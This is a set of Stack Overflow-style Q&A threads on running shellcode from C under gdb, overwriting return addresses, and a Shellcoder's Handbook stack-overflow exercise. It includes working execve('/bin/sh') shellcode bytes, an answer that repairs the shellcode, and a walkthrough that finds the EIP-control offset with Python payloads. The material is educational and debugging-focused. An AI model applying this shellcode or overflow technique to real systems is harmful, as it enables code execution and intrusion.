Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 6 years ago.
Improve this question
I was trying to make my C program execute shellcode. Please look at the following.
root#ninja:~/Desktop/Programs# gdb -q ./a.out
Reading symbols from /root/Desktop/Programs/a.out...done.
(gdb) list 1
1 void function(void) {
2 int *ret;
3 int var;
4 char code[]=
5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
7 "\xe1\xcd\x80";
8 ret = &var + 3;
9 (*ret) = (int) code;
10 }
(gdb)
11
12 void main() {
13 function();
14 }
(gdb) break 9
Breakpoint 1 at 0x804842a: file exp2.c, line 9.
(gdb) break 10
Breakpoint 2 at 0x8048432: file exp2.c, line 10.
(gdb) run
Starting program: /root/Desktop/Programs/a.out
Breakpoint 1, function () at exp2.c:9
9 (*ret) = (int) code;
(gdb) x/9xw code
0xbffff4a4: 0xdb31c031 0xb099c931 0x6a80cda4 0x6851580b
0xbffff4b4: 0x68732f2f 0x69622f68 0x51e3896e 0x8953e289
0xbffff4c4: 0x0080cde1
(gdb) x/i *ret
0x804843c <main+8>: pop %ebp
(gdb) c
Continuing.
Breakpoint 2, function () at exp2.c:10
10 }
(gdb) x/i *ret
0xbffff4a4: xor %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4a4: xor %eax,%eax
0xbffff4a6: xor %ebx,%ebx
0xbffff4a8: xor %ecx,%ecx
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0xbffff4a4 in ?? ()
(gdb) nexti
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
var was used as a point of reference to make ret point to the return address of function(). Then, the return address was changed to the start of code. function() returned to code. However, the program terminated without executing the code. Thanks to #blatinox, I learnt that this was because the stack was non-executable.
I re-compiled the program with -z execstack. The program now could execute the code, but I got another problem:
Starting program: /root/Desktop/Programs/a.out
Breakpoint 1, function () at exp2.c:9
9 (*ret) = (int)code;
(gdb) x/i *ret
0x804843c <main+8>: pop %ebp
(gdb) c
Continuing.
Breakpoint 2, function () at exp2.c:10
10 }
(gdb) x/i *ret
0xbffff4a4: xor %eax,%eax
(gdb) x/i code
0xbffff4a4: xor %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/17i $eip
=> 0xbffff4a4: xor %eax,%eax
0xbffff4a6: xor %ebx,%ebx
0xbffff4a8: xor %ecx,%ecx
0xbffff4aa: cltd
0xbffff4ab: mov $0xa4,%al
0xbffff4ad: int $0x80
0xbffff4af: push $0xb
0xbffff4b1: pop %eax
0xbffff4b2: push %ecx
0xbffff4b3: push $0x68732f2f
0xbffff4b8: push $0x6e69622f
0xbffff4bd: mov %esp,%ebx
0xbffff4bf: push %ecx
0xbffff4c0: mov %esp,%edx
0xbffff4c2: push %ebx
0xbffff4c3: mov %esp,%ecx
0xbffff4c5: int $0x80
(gdb) nexti(14)
0xbffff4c2 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4c2: push %ebx
0xbffff4c3: mov %esp,%ecx
0xbffff4c5: int $0x80
(gdb) nexti
0xbffff4c3 in ?? ()
(gdb) x/2i $eip
=> 0xbffff4c3: mov %ecx,%esp
0xbffff4c5: hlt
(gdb) nexti
0xbffff4c5 in ?? ()
(gdb) x/i $eip
=> 0xbffff4c5: hlt
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0xbffff4c5 in ?? ()
(gdb)
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
0xbffff4c3: mov %esp,%ecx changed to 0xbffff4c3: mov %ecx,%esp, and 0xbffff4c5: int $0x80 changed to 0xbffff4c5: hlt.
Why did the last two lines of the code change while executing?
Your variable code is on the stack which is probably not executable. Did you change the rights of the stack ?
Related
This question already has answers here:
How to get c code to execute hex machine code?
(7 answers)
Linux default behavior of executable .data section changed between 5.4 and 5.9?
(2 answers)
Closed 1 year ago.
I'm trying to understand the basics of stack smashing attacks but I'm finding that the code seg faults when jumping to the overwritten return address. To isolate the issue, I wrote a small snippet of code exhibiting the same behaviour, using a single NOP instruction stored in the data segment of memory:
char nop[] = "\x90";
int main(){
((void(*)(void))nop)();
}
Which I'm then compiling as follows:
gcc -fno-stack-protector -z execstack nop.c -g -o nop
Executing the code step-wise from the function call in GDB gives the same results:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
1 char nop[] = "\x90";
2 int main(){
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555131 <main+8>: lea 0x2ed8(%rip),%rax # 0x555555558010 <nop>
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
In similar questions, the issue seems to stem from the data segment being non-executable, which appears to be the case here too. Most answers seem to suggest using the execstack flag to disable this though, which clearly isn't working here.
Any help would be much appreciated!
Edit 1: Quick verification that the execstack flag is being set:
foo#bar:~/path/to/file$ execstack nop
X nop
Edit 2: Rerunning GDB using stepi rather than step suggests that the seg-fault happens the instruction after the code jumps to the NOP:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) stepi
0x0000555555555138 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555138 <main+15>: callq *%rax
(gdb) stepi
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
Just solved the problem, which was a combination of two issues:
I assumed that the execstack flag would make all non-text segments of memory executable, however it seems this is not the case. To fix this, I made the raw hex code a local variable:
int main(){
char nop[] = "\x90";
((void(*)(void))nop)();
}
The next issue seems to have been that, with no return instruction, the code continues executing after the nop until it hits a bad area of memory. To fix this, I wrote a simple function performing the same task...
void nop() {
return;
}
int main(){
nop();
}
Extracted the hex from the disassembled code...
nop:
\xf3\x0f\x1e\xfa endbr64
\x55 push %rbp
\x48\x89\xe5 mov %rsp,%rbp
\x90 nop
\x5d pop %rbp
\xc3 retq
Then used these bytes as the basis for my character array:
int main(){
char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
((void(*)(void))nop)();
}
This led to a successful execution:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
warning: Source file is more recent than executable.
1 int main(){
2 char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x114a: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514a <main+33>: lea -0xc(%rbp),%rax
(gdb) stepi
0x000055555555514e 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514e <main+37>: callq *%rax
(gdb) stepi
0x00007fffffffe204 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe204: endbr64
(gdb) stepi
0x00007fffffffe208 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe208: push %rbp
(gdb) stepi
0x00007fffffffe209 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe209: mov %rsp,%rbp
(gdb) stepi
0x00007fffffffe20c in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20c: nop
(gdb) stepi
0x00007fffffffe20d in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20d: pop %rbp
(gdb) stepi
0x00007fffffffe20e in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20e: retq
(gdb) stepi
0x0000555555555150 in main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555150 <main+39>: mov $0x0,%eax
(gdb) continue
Continuing.
[Inferior 1 (process 68215) exited normally]
every call in asm, causes that instruction pushes return value, so once ret is called, the program knows where to continue. So I would like to examine the address upon which ret is called:
having this:
#include <stdio.h>
int main()
{
printf("a=%d; b=%d; c=%d", 1, 2, 3);
return 0;
}
I use gdb:
(gdb) b printf
+b printf
Breakpoint 1 at 0x1030
(gdb) run
+run
Breakpoint 1, __printf (format=0x555555556004 "a=%d; b=%d; c=%d")
at printf.c:28
28 printf.c: No such file or directory.
(gdb) x/10x $rsp
+x/10x $rsp
0x7fffffffdc28: 0x55555159 0x00005555 0x55555160 0x00005555
0x7fffffffdc38: 0xf7e1c09b 0x00007fff 0x00000000 0x00000000
0x7fffffffdc48: 0xffffdd18 0x00007fff
(gdb) x/i 0x55555159
+x/i 0x55555159
0x55555159: Cannot access memory at address 0x55555159
(gdb)
Here I am trying to read instruction from return address, but somehow cannot access that address. Why, when it should be valid address for ret?
As Eric Postpischil commented, you are only examining half of the return address, which 64-bit on x86_64.
Using your program:
(gdb) b printf
Breakpoint 1 at 0x1030
(gdb) run
Starting program: /tmp/a.out
Breakpoint 1, __printf (format=0x555555556004 "a=%d; b=%d; c=%d") at printf.c:28
28 printf.c: No such file or directory.
(gdb) bt
#0 __printf (format=0x555555556004 "a=%d; b=%d; c=%d") at printf.c:28
#1 0x0000555555555159 in main () at t.c:4
This shows that the return address we expect to find on the stack is 0x0000555555555159. Indeed, that is exactly the address #$rsp:
(gdb) x/gx $rsp
0x7fffffffdbd8: 0x0000555555555159
To see the instruction at that address:
(gdb) x/i 0x0000555555555159
0x555555555159 <main+36>: mov $0x0,%eax
You can also disassemble the whole main to see where you are and where you are going to return:
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555135 <+0>: push %rbp
0x0000555555555136 <+1>: mov %rsp,%rbp
0x0000555555555139 <+4>: mov $0x3,%ecx
0x000055555555513e <+9>: mov $0x2,%edx
0x0000555555555143 <+14>: mov $0x1,%esi
0x0000555555555148 <+19>: lea 0xeb5(%rip),%rdi # 0x555555556004
0x000055555555514f <+26>: mov $0x0,%eax
0x0000555555555154 <+31>: callq 0x555555555030 <printf#plt>
0x0000555555555159 <+36>: mov $0x0,%eax
0x000055555555515e <+41>: pop %rbp
0x000055555555515f <+42>: retq
End of assembler dump.
As you can see, the instruction that printf will return to is indeed at address 0x0000555555555159.
This question already has an answer here:
Testing Shellcode From C - Bus Error 10
(1 answer)
Closed 6 years ago.
If I just execute shell code program It makes segmentation fault like this
desktop:~$ ./sh02
Segmentaion fault (core dumped)
But, when I debug this program with GDB, this program executes /bin/sh successfully
(gdb) disass 0x4005a0
No function contains specified address.
(gdb) shell ps
PID TTY TIME CMD
4075 pts/4 00:00:00 bash
4099 pts/4 00:00:00 gdb
4101 pts/4 00:00:00 sh
4107 pts/4 00:00:00 ps
(gdb)
After debugging with GDB, this program works well ...
I can't find difference between them
Why I can't run /bin/sh via sh02 program before debugging?
const char str[]=
"\x55"
"\x48\x89\xe5"
"\x48\x31\xff"
"\x57"
"\x57"
"\x5e"
"\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e"
"\x2f\x73\x68"
"\x57"
"\x54"
"\x5f"
"\x6a\x3b"
"\x58"
"\x0f\x05"
"\x90"
"\x5d"
"\xc3";
int main()
{
int (*func)();
func = (int (*)()) str;
(int)(*func)();
}
Above is sh02.c code.
I read that questions and answers. But I think my case is little bit different. During debugging with GDB and after debugging sh02 program execute /bin/sh successfully. However only before debugging, it makes segmentation fault
I use Ubuntu 16.04 and x64 architecture
When undefined behavior is invoked the program may crash or not crash (by luck). The program does not null terminate the string sent to exec, the results are undefined.
Try this:
"\x48\xbf\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
Note that I dropped the extra '/' and added the '\0' at the end of the string.
I was able to determine the issue by using gdb.
Here is the session perhaps this will help you to learn assembly debugging.
parallels#ubuntu:/tmp$ gcc -g -fno-stack-protector -z execstack -o shellcode shellcode2.c
parallels#ubuntu:/tmp$ gdb ./shellcode
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
...
Reading symbols from ./shellcode...done.
(gdb) b main
Breakpoint 1 at 0x4004f5: file shellcode2.c, line 25.
(gdb) r
Starting program: /tmp/shellcode
Breakpoint 1, main () at shellcode2.c:25
25 func = (int (*)()) str;
(gdb) n
27 (int)(*func)();
(gdb) stepi
0x0000000000400501 27 (int)(*func)();
(gdb) stepi
0x0000000000400506 27 (int)(*func)();
(gdb) stepi
0x00000000004005c0 in str ()
(gdb) disass
Dump of assembler code for function str:
=> 0x00000000004005c0 <+0>: push %rbp
0x00000000004005c1 <+1>: mov %rsp,%rbp
0x00000000004005c4 <+4>: xor %rdi,%rdi
0x00000000004005c7 <+7>: push %rdi
0x00000000004005c8 <+8>: push %rdi
0x00000000004005c9 <+9>: pop %rsi
0x00000000004005ca <+10>: pop %rdx
0x00000000004005cb <+11>: movabs $0x68732f6e69622f2f,%rdi
0x00000000004005d5 <+21>: push %rdi
0x00000000004005d6 <+22>: push %rsp
0x00000000004005d7 <+23>: pop %rdi
0x00000000004005d8 <+24>: pushq $0x3b
0x00000000004005da <+26>: pop %rax
0x00000000004005db <+27>: syscall
0x00000000004005dd <+29>: nop
0x00000000004005de <+30>: pop %rbp
0x00000000004005df <+31>: retq
0x00000000004005e0 <+32>: add %al,(%rax)
End of assembler dump.
(gdb) b *0x4005db
Breakpoint 2 at 0x4005db
(gdb) c
Continuing.
Breakpoint 2, 0x00000000004005db in str ()
(gdb) info reg
rax 0x3b 59
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x0 0
rdi 0x7fffffffdef8 140737488346872
rbp 0x7fffffffdf00 0x7fffffffdf00
rsp 0x7fffffffdef8 0x7fffffffdef8
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7dea560 140737351951712
r10 0x7fffffffddb0 140737488346544
r11 0x7ffff7a36dd0 140737348070864
r12 0x400400 4195328
r13 0x7fffffffe000 140737488347136
r14 0x0 0
r15 0x0 0
rip 0x4005db 0x4005db <str+27>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) p (char*) $rdi
$1 = 0x7fffffffdef8 "//bin/sh \337\377\377\377\177"
As you can see the string has an extra '/' and no NULL terminator. A simple two character fix and all is well.
There's a way to break on a variable/memory address being freed ? Does a simple watchpoint work on this case ?
Scenario, I getting a segfault when the program does the freeing of variables apparently the variable in question is getting free two times, i need know where it's first freed.
PS: lldb and gdb, if possible for both respective commands.
How to do it in gdb
In gdb you can set conditional breakpoints by writing break location if condition.
This means that in order to break on free where the function is invoked with a pointer that refers to some dynamically allocated data, we first have to obtain the address of the dynamically allocated data, and then set a breakpoint with a suitable condition.
Further reading:
sourceware.org :: Conditions - Debugging with gdb
fayewilliams.com - GDB Conditional Breakpoints
Setting up the experiment
/tmp% cat > foo.c <<EOF
> #include <stdlib.h>
>
> void some_function (int * p) {
> free (p);
> }
>
> int main () {
> int * p = malloc (sizeof (int));
>
> some_function (p);
>
> free (p);
>
> return 0;
> }
> EOF
/tmp% gcc -g foo.c -o a.out
The Adventure
/tmp% gdb ./a.out
The first thing we need to do is find a suitable breakpoint so that we can expect the contents of the variable we would like to watch, more specifically the address of the dynamically allocated memory.
(gdb) list main
2
3 void some_function (int * p) {
4 free (p);
5 }
6
7 int main () {
8 int * p = malloc (sizeof (int));
9
10 some_function (p);
11
We will then set a breakpoint on a suitable place, in this case line 9 — we then run the application to see what the value stored in p is.
(gdb) break 9
Breakpoint 1 at 0x400577: file foo.c, line 9.
(gdb) run
Starting program: /tmp/a.out
Breakpoint 1, main () at foo.c:10
(gdb) print p
$1 = (int *) 0x601010
When we know the address we would like to monitor in terms of free, we can easily set a conditional breakpoint at our desired location. First we will need to make sure that free is actually named what we think.
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400561 : push %rbp
0x0000000000400562 : mov %rsp,%rbp
0x0000000000400565 : sub $0x10,%rsp
0x0000000000400569 : mov $0x4,%edi
0x000000000040056e : callq 0x400440 <malloc#plt>
0x0000000000400573 : mov %rax,-0x8(%rbp)
=> 0x0000000000400577 : mov -0x8(%rbp),%rax
0x000000000040057b : mov %rax,%rdi
0x000000000040057e : callq 0x400546 <some_function>
0x0000000000400583 : mov -0x8(%rbp),%rax
0x0000000000400587 : mov %rax,%rdi
0x000000000040058a : callq 0x400410 <free#plt>
0x000000000040058f : mov $0x0,%eax
0x0000000000400594 : leaveq
0x0000000000400595 : retq
We can now create the breakpoint, and continue execution to see where our data is freed:
(gdb) break free#plt if $rdi == 0x601010
Breakpoint 2 at 0x400410 (3 locations)
(gdb) cont
Continuing.
Breakpoint 2, 0x0000000000400410 in free#plt ()
(gdb) backtrace
#0 0x0000000000400410 in free#plt ()
#1 0x000000000040055e in some_function (p=0x601010) at foo.c:4
#2 0x0000000000400583 in main () at foo.c:10
(gdb) cont
Continuing.
Breakpoint 2, 0x0000000000400410 in free#plt ()
(gdb) backtrace
#0 0x0000000000400410 in free#plt ()
#1 0x000000000040058f in main () at foo.c:12
(gdb) cont
Continuing.
*** Error in `/tmp/a.out': double free or corruption (fasttop): 0x0000000000601010 ***
...
I was taking at this example w.r.t. shellcoder's handbook(second edition), and have some question about the stack
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input () at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input () at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
root#bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
root#bt:~/pentest#
in this example i was taking 48 bytes "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" that to rewrite ret address, and all is work. But when i tried to use example from first edition of this book, i faced with some problem
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
why program has taken 24(hex)=36(dec)bytes for array, but i used 48 that rewrite, 36 bytes of array, 8 bytes of esp and ebp(how i know), but there are steel have 4 unexplained bytes
ok, lets try out the sploit from first edition of book who rewrite all of array by address of call function, in book they had "sub &0x20,%esp" so code is
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
i have ""sub &0x24,%esp" so my code will be
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
result of the shellcoders' handbook
[root#localhost /]# (./adress_to_char;cat) | ./overflow
input
""""""""""""""""""a<u___.input
input
input
and my result
root#bt:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
root#bt:~/pentest#
What's problem?
i was compiling with
-fno-stack-protector -mpreferred-stack-boundary=2
I suggest you better get the amount of bytes necessary to overflow the buffer by trying in GDB. I compiled the source you provided in your question and ran it through GDB:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(Do note that I use Python to create my input instead of a compiled C program. It really does not matter, use what you prefer.)
So 30 bytes are fine. Let's try some more:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ i r $eip
eip 0x41414141 0x41414141
Our eip register now contains 0x41414141, which is AAAA in ASCII. Now, we can gradually check where exactly we have to place the value in our buffer that updates eip:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()
B is 0x42. Thus, we overwrote half of eip when using 40 A's and four B's. Therefore, we pad with 42 A's and then put the value we want to update eip with:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
We got full control over eip! Let's try it. Set a breakpoint at the end of ret_input (your addresses may vary as I recompiled the binary):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <gets#plt>
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <puts#plt>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
As an example, let's modify eip so once returning from ret_input we end up at the beginning of the function again:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>: ret
0x8048422 <main>: push ebp
0x8048423 <main+1>: mov ebp,esp
0x8048425 <main+3>: and esp,0xfffffff0
0x8048428 <main+6>: call 0x8048404 <ret_input>
0x804842d <main+11>: mov eax,0x0
0x8048432 <main+16>: leave
0x8048433 <main+17>: ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input ()
We pad 42 A's and then append the address of ret_input to our buffer. Our breakpoint on the ret triggers.
gdb$ x/w $esp
0xffffd30c: 0x08048404
On top of the stack there's the last DWORD of our buffer - ret_input's address.
gdb$ n
0x08048404 in ret_input ()
gdb$ i r $eip
eip 0x8048404 0x8048404 <ret_input>
Executing the next instruction pops that value off the stack and sets eip accordingly.
On a side note: I recommend the .gdbinit file from this guy.
This row :
for (i=o;i<=44;i+=4);
Remove the ; from the end. I also assume that the o(letter o) instead of 0(zero) is mistyped here.
The problem is that your for loop is executing ; (a.k.a. do nothing) until i becomes larger then 44, and then you execute the next command with i = 44 wich is outside the bounds of array and you get Segmentation Error. You should watch out for this type of error as it is hardly visible and it is completely valid c code.